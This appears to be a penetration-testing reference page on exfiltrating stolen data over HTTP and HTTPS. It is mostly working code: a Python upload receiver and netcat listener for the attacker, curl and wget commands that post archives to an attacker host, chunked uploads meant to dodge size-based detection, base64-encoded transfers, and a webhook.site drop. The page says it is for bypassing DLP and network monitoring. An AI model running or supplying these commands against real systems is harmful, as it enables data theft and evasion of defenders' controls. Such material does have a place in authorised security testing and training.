# Data Exfiltration over HTTP and HTTPS

> Covers techniques for tunnelling stolen data over HTTP/HTTPS traffic, exploiting trusted web protocols to bypass DLP controls and evade network detection.

- **URL:** https://hackindex.io/services/web/data-exfiltration/exfiltration-over-http-https
- **Path:** HTTP/HTTPS > Data Exfiltration
- **Up:** [Data Exfiltration](https://hackindex.io/services/web/data-exfiltration.md)
- **Published:** 2026-03-16
- **Updated:** 2026-04-24

HTTP and HTTPS exfiltration works when SSH is blocked but outbound web traffic is permitted: common in environments with egress filtering that allows port 80 and 443. For exfiltrating data through injection vulnerabilities rather than post-exploitation access, see [out-of-band data exfiltration](https://hackindex.io/services/web/data-exfiltration/out-of-band-data-exfiltration). HTTPS blends with normal browsing and application traffic and is rarely inspected at the content level. You need a receiver on your attacker machine: a netcat listener, a Python HTTP server with upload support, or a simple web application endpoint.

Methods covered on this page:

- curl POST with `--data-binary` for raw file uploads
- curl multipart form upload with `-F`
- wget `--post-file` when curl is absent
- Chunked transfer with `split` for large files
- Base64 encoding for text-only receivers
- External drop services as intermediaries

Stage and compress data before transferring. See [Staging and Compressing Data for Exfiltration](https://hackindex.io/platforms/linux/data-exfiltration/staging-and-compressing-data).

## Setting Up a Receiver

The simplest receiver is a Python HTTP server with upload support. Save this on your attacker machine and run it:

```python
import http.server, os

class UploadHandler(http.server.BaseHTTPRequestHandler):
    def do_POST(self):
        length = int(self.headers['Content-Length'])
        data = self.rfile.read(length)
        fname = self.path.strip('/')
        open(fname or 'upload', 'wb').write(data)
        self.send_response(200)
        self.end_headers()
    def log_message(self, *a): pass

http.server.HTTPServer(('0.0.0.0', $LPORT), UploadHandler).serve_forever()
```

Alternatively, use netcat to catch a raw POST body:

```bash
nc -lvnp $LPORT > received_file
```

## curl: POST File Upload

Upload a binary file:

```bash
curl -s -X POST http://$LHOST:$LPORT/archive.tar.gz --data-binary @/dev/shm/.work/archive.tar.gz
```

With a custom header to pass metadata:

```bash
curl -s -X POST http://$LHOST:$LPORT/ -H "X-Filename: archive.tar.gz" --data-binary @/dev/shm/.work/archive.tar.gz
```

Over HTTPS: if your receiver has a self-signed certificate:

```bash
curl -sk -X POST https://$LHOST:$LPORT/ --data-binary @/dev/shm/.work/archive.tar.gz
```

`-k` skips certificate verification.

## curl: Multipart Form Upload

Some receivers expect multipart form data:

```bash
curl -s -F "file=@/dev/shm/.work/archive.tar.gz" http://$LHOST:$LPORT/upload
```

## wget: POST Upload

wget supports POST but is less flexible than curl for binary uploads. Use it when curl is absent:

```bash
wget -q --post-file=/dev/shm/.work/archive.tar.gz http://$LHOST:$LPORT/upload -O /dev/null
```

## Chunked Transfer for Large Files

Split the archive before sending to avoid triggering size-based detection or hitting upload limits:

```bash
split -b 2M /dev/shm/.work/archive.tar.gz /dev/shm/.work/chunk_
for chunk in /dev/shm/.work/chunk_*; do
    curl -s -X POST http://$LHOST:$LPORT/$(basename $chunk) --data-binary @$chunk
done
```

Reassemble on the attacker machine:

```bash
cat chunk_aa chunk_ab chunk_ac > archive.tar.gz
```

## Base64 Encoding in the Request Body

When the receiver only accepts text (a web application endpoint, a form field, an API), encode first:

```bash
curl -s -X POST http://$LHOST:$LPORT/ --data "data=$(base64 -w 0 /dev/shm/.work/archive.tar.gz)"
```

`-w 0` disables line wrapping. Decode on the receiving end:

```bash
echo '<BASE64>' | base64 -d > archive.tar.gz
```

## Using an External Service as a Drop

When your attacker machine is not directly reachable, use an intermediary. Paste services, file hosts, and webhook services can all act as drops: but avoid sending sensitive credential material to third-party infrastructure in real engagements. This approach is useful in lab environments or when using a controlled intermediary.

```bash
curl -s -X POST https://webhook.site/<your-uuid> --data-binary @/dev/shm/.work/archive.tar.gz
```

## Checking Egress for HTTP and HTTPS Data Exfiltration

Confirm outbound HTTP/HTTPS is permitted from the target before committing to this channel:

```bash
curl -s --max-time 5 http://$LHOST:$LPORT/test
```

If no response, the port is blocked. Try 443 or 8080 next.

## References

- [curl(1) ](https://curl.se/docs/manpage.html) - curl manual Full reference for --data-binary, -F multipart, -X, and -k options.
- [GNU Wget Manual](https://www.gnu.org/software/wget/manual/wget.html) - Reference for --post-file and output options.
